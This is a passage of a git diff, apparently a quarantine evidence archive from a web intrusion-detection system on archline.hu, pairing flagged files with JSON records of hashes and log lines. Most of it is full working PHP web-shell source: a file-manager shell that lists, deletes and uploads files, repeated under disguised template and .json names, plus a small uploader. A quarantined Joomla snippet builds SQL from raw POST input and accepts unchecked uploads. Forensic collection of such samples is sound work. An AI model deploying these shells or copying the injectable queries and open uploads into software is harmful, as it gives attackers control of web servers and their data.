";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json.evidence.json new file mode 100644 index 0000000..68403e8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2952", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925166, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json.evidence.json new file mode 100644 index 0000000..e10b3e5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2941", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925167, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json.evidence.json new file mode 100644 index 0000000..8cc746b --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2947", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925137, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json.evidence.json new file mode 100644 index 0000000..bff1dfa --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2958", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925136, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json.evidence.json new file mode 100644 index 0000000..6ec037e --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2956", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925124, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json.evidence.json new file mode 100644 index 0000000..235ba76 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2945", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925133, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json.evidence.json new file mode 100644 index 0000000..80e3f0b --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2961", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925134, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json.evidence.json new file mode 100644 index 0000000..8e73023 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2951", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925135, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json.evidence.json new file mode 100644 index 0000000..57aea0d --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2943", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925136, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b b/var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b new file mode 100644 index 0000000..11e99ed --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b @@ -0,0 +1,212 @@ +input->getInt('Itemid'); +if (is_array($src_variables)) {foreach ($src_variables as $src_key => $src_value) {${$src_key} = $src_value;}} +echo $_SERVER['DOCUMENT_ROOT']; + + + + + + + +
+ +

+ +

+ + + + guest; + + + if (/*$status = 1*/true) { + + $db=JFactory::getDbo(); + + + $db->setQuery("SELECT nUserID FROM `cl_hlusers`.`u_emails` WHERE `email`='".$_POST['email']."' LIMIT 1;"); + + $exist1=$db->loadObject(); + + + + if (empty($exist1)) { + + + $db->setQuery("SELECT * FROM `cl_hlusers`.`users` WHERE `strEmail`='".$_POST['email']."' LIMIT 1;"); + + $exist2=$db->loadObject(); + + + if (empty($exist2)) { + + $db->setQuery("INSERT INTO `cl_hlusers`.`users` (`strEmail`,`strName`, `nCtrID`, `old_db`) + + VALUES ('".$_POST['email']."','".$_POST['fname'].' '.$_POST['lname']."', '".$_POST['country']."', 'clusers_eng');"); + + $db->execute(); + + $nUserID = $db->insertid(); + + + $db->setQuery("INSERT INTO `cl_hlusers`.`u_emails` (`email`,`nUserID`, `default`, `active`, `deleted`, `newsletter`) + + VALUES ('".$_POST['email']."','".$nUserID."', '1', '1', '0', '1');"); + + $db->execute(); + + + } else { + + $nUserID = $exist2->nUserID; + + } + + } else { + + $nUserID = $exist1->nUserID; + + } + + + } else { + + $nUserID = $user->nUserID; + + } + + $education = $_POST['education']; + + + $db->setQuery("UPDATE `cl_hlusers`.`users` SET `strEducation`='".$education."' WHERE nUserID=".$nUserID." LIMIT 1;"); + + $db->execute(); + + + + + $db->setQuery("INSERT INTO `cl_hlusers`.`u_history` (`nUserID`,`nTopicID`, `dateEvent`, `strPlace`, `old_db`, `nManagerID`) + + VALUES ('".$nUserID."', '386', '".date('Y-m-d')."', 'web', 'clusers_eng', '36');"); + + $db->execute(); + + + + + + + if (!file_exists("/var/www/hosting/archline.hu/sub/attachements/{$nUserID}")) + + mkdir("/var/www/hosting/archline.hu/sub/attachements/{$nUserID}"); + + + + + + $countfiles = count($_FILES['files']['name']); + + for ($i = 0; $i < $countfiles; $i++) { + + $filename = $_FILES['files']['name'][$i]; + + move_uploaded_file($_FILES['files']['tmp_name'][$i], JPATH_BASE.'/attachements/'.$nUserID.'/'.$filename); + + + + + $path_parts = pathinfo( '/attachements/'.$nUserID.'/'.$filename); + + + + + $db->setQuery("INSERT INTO `cl_hlusers`.`attachments` (`add_nManagerID`,`nUserID`, `path`, `file_name`, `file_type`, `file_extension`, `strInfo`, `add_DateTime`) + + VALUES ('36','".$nUserID."', 'not-public/".$nUserID."/', '".$path_parts['filename']."', 'image/png', '.".$path_parts['extension']."', 'Academic Proof', '".date('Y-m-d H:i:s')."');"); + + $db->execute(); + + + + + + $mailer = JFactory::getMailer(); + + + + $config = JFactory::getConfig(); + + + $sender = array( + + $config->get( 'info@archlinexp.com' ), + + $config->get( 'info@archlinexp.com' ) + + ); + + + + $mailer->setSender($sender); + + $mailer->addRecipient($_POST['email']); + + $body = 'Dear '.$_POST['fname'].' '.$_POST['lname'].'

We have received your request for (PRODUCT NAME), and we are currently evaluating it. You will hear back from us within 2 working days.

Should your application be approved, you will receive a link to our online store, where you can pay for your subscription, and get the necessary info on how to download and activate your ARCHLine.XP copy.

Best wishes,
The ARCHLine.XP Team'; + + + $mailer->isHtml(true); + + $mailer->Encoding = 'base64'; + + + + $mailer->setSubject('Your subject string'); + + $mailer->setBody($body); + + $send = $mailer->Send(); + + + + + + + + } ; ?> + + + + + + quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b)", + "original_sha256": "b90cbff9d883e0fc95f312b0ec2deea7d84e118c77458159621a68e903854a31", + "original_stat": { + "gid": 30037, + "mtime": 1632035805, + "size": 5650, + "uid": 20043 + }, + "rel_path": "tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json b/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json.evidence.json new file mode 100644 index 0000000..0383fda --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3545", + "log_excerpt": "[quarantine] www.archline.hu:tmp/up_4ucqzf.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813017, + "size": 448, + "uid": 20043 + }, + "rel_path": "tmp/up_4ucqzf.php.json", + 